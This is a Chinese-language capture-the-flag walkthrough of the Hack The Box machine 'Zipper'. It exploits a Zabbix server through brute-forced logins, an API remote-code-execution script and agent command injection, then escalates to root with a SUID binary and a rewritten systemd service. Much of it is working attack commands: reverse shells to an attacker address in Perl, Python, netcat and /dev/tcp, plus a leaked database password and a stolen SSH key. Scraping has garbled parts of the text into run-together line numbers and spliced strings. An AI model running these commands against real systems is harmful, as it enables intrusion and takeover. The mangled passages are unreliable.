你越功利，世界对你越神秘。废话不说，开始紧张刺激的渗透吧！
scan 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 /tcp open ssh OpenSSH 7.6 p1 Ubuntu 4 (Ubuntu Linux2048 59 :20 :a3 :a0 :98 :f2 :a7 :14 :1 e:08 :e0 :9 b:81 :72 :99 :0 e (RSA )256 89 :28 :37 :e2 :b6 :cc :d5 :80 :38 :1 f:b2 :6 a:3 a:c3 :a1 :84 (ED25519 )80 /tcp open http Apache httpd 2.4 .29 ((Ubuntu ))2 端口开放，需要进一步做探测。10.10 .10.108 10050 10.10 .10.108 -p 10050 10050 /tcp open zabbix-agent2048 端口扫描结果，提示端口关闭，于是忽略
enumeration ssh ssh root@10.10 .10.108 of host key fingerprint is SHA256:cAmAZhj4I2L8r8N7/lMousEpdqK/HoeuU6zUIbGcdHs.to continue connecting (yes/no)? yesWarning: Permanently added 10.10 .10.108 : Permission denied (publickey).
拒绝密码连接，要么通过web获取到id_rsa通过私钥连接；要么web远程代码执行获得webshell，再提权。
web 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 wget http:// 10.10 .10.108 // 10.10 .10.108 -w /usr/ share/wordlists/ dirbuster/directory-list-2.3 -medium.txt 301 )403 )// 10.10 .10.108 /zabbix/ history.php3.0 .21 2.2 < 3.0 .3 - API JSON-RPC Remote Code Execution /php/ webapps/39937 .py1 . 修改exp地址为http:// 10.10 .10.108 /zabbix2 . 运行exp： python 39937 .py 3 . 运行出错，检查exp"39937.py" , line 55 , in <module>"auth" : auth['result' ],'result' 4 . http:// 10.10 .10.108 /zabbix/ api_jsonrpc.php该地址存在5 . burp截包，尝试弱密码猜测1 &enter=Sign+in /usr/ share/seclists/ Usernames/top-usernames-shortlist.txt -P /u sr/share/ wordlists/3000-pass.txt -f 10.10.10.108 http-post-form "/ zabbix/index.php:name=^USER^&password=^PASS^&autologin=1 &enter=Sign+in :incorrect"
msf 尝试exploit/unix/misc/zabbix_agent_exec
Zabbix Agent - ‘net.tcp.listen’ Command Injection (Metasploit)
CVE-2016-10134
发现一个登陆表单，searchsploit zabbix，常规操作
10050 port http://10.10.10.108:10050
use exploit/linux/misc/zabbix_server_exec
writeup log in as guest，在主页面发现了一个用户名Zipper，仔细查找网页内容，把zapper、Zipper、zipper添加到字典中进行爆破
拿到服务器参数 通过官网获得api使用方法：https://www.zabbix.com/documentation/3.0/manual/api
curl -i -X POST -H 'Content -type :application/json' -d ' {"jsonrpc" :"2.0" ,"method" :"user.login" ,"params" :{ "user" :"zapper" ,"password" :"zapper" },"auth" :null,"id" :0 }' http://10.10.10.108/zabbix/api_jsonrpc.php curl -i -X POST -H ' Content-type :application/json' -d ' {"jsonrpc" :"2.0" ,"method" :"host.get" ,"params" :{ "output" : ["hostid" ,"host" ],"selectInterfaces" :["interfaceid" ,"ip" ] },"auth" :"注意修改这里的hash是通过上一条命令得到的" ,"id" :0 }' http://10.10.10.108/zabbix/api_jsonrpc.php
修改exp并执行 通过api，查询到服务器参数，然后修改exp
searchsploit -m exploits/hp/webapps/39937. py'http://10.10.10.108/zabbix' ### Zabbix IP-address'zapper' ### Zabbix login'zapper' ### Zabbix password'10105' ### Zabbix hostid39937. py 即可拿到webshell
反弹docker虚拟机的shell到本地 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 参考pentestmonkey的reverse shell'use Socket;$i="10.10.14.10";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 1234 >/tmp/f'import pty;pty.spawn("/bin/bash")' tty "*.txt" 2>/dev/nullcat /usr/share/zabbix/conf/zabbix.conf.php$DB ['TYPE' ] = 'MYSQL' ;$DB ['SERVER' ] = 'localhost' ;$DB ['PORT' ] = '0' ;$DB ['DATABASE' ] = 'zabbixdb' ;$DB ['USER' ] = 'zabbix' ;$DB ['PASSWORD' ] = 'f.YMeMd$pTbpY3-449' ;$pTbpY3 -449 for user 'zabbix' @'localhost' to database 'f.YMeMd-449mysql' ls -al /
反弹10.10.10.108的shell到本机 信息搜集 netstat -nr0.0.0.0 172 .17 .0 .1 0 .0 .0 .0 UG 0 0 0 eth0172.17.0.0 0 .0 .0 .0 255 .255 .0 .0 U 0 0 0 eth0172 .17 .0 .2 172 .17 .0 .1 10050 10050 端口，为open状态[ ifconfig ] | nc 172 .17 .0 .1 10050
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 echo system.run [ nc -e /bin/bash 10.10.14.10 1235 ] | nc 172.17.0.1 10050e 参数run [ perl -e 'use Socket;$i ="10.10.14.10" ;$p =1235;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp" ));if (connect(S,sockaddr_in($p ,inet_aton($i )))){open (STDIN,">&S" );open (STDOUT,">&S" );open (STDERR,">&S" );exec("/bin/sh -i" );};' ] | nc 172.17.0.1 10050format .run [ whereis python ] | nc 172.17.0.1 10050run [ /usr/bin/python3.6 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10" ,1235));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh" ,"-i" ]);' ] | nc 172.17.0.1 10050format .run [ nc 10.10.14.10 1235 ] | nc 172.17.0.1 10050run [ /bin/sh -i >& /dev/tcp/10.10.14.10/1235 0>&1 ] | nc 172.17.0.1 10050run [ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 1235 >/tmp/f ] | nc 172.17.0.1 10050sh 到本地"system.run[(/bin/bash -c 'bash -i >/dev/tcp/10.10.14.10/1234 0<&1 2>&1 &')]" | nc 172.17.0.1 10050
提权 cd /home/zapper/utils
通过backup.sh得到zapper用户密码。切换用户。
cat /home/zapper/.ssh/id_rsa
获得ssh密钥。通过ssh -i id_rsa 用户名@IP
登陆后， /home/zapper/utils/zabbix-service具有suid权限
之前文章讨论过很多suid的东西了，这里就不多说了。
在/tmp目录添加shell，命令如下
echo '#!/bin/bash ' > /tmp/shell .sh echo 'bash -i >/dev/tcp/10.10.14.10/443 0<&1' >> /tmp/shell .sh a +x /tmp/shell .sh
在zapper配置中修改重启后运行的脚本，如果以下命令报错，可以手动修改该行。目的是重启程序，同时执行/tmp/shell.sh
sed -i 's/ExecStart=\/root \/scripts \/purge-backups.sh/ExecStart= \/tmp \/shell.sh/ ' /etc/systemd/system/purge-backups.service cd /home/zapper/utils ;./zabbix-service
存在的漏洞 guest匿名登陆+信息泄露server system .run远程代码执行
总结
当遇到openbsd需要反弹shell的时候，nc -e没有这个参数。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
拿到webshell后。cd到用户家目录，查找.ssh目录，查找id_rsa文件。拿到该文件可以通过ssh获得稳定的shell,避免掉线后重连的麻烦
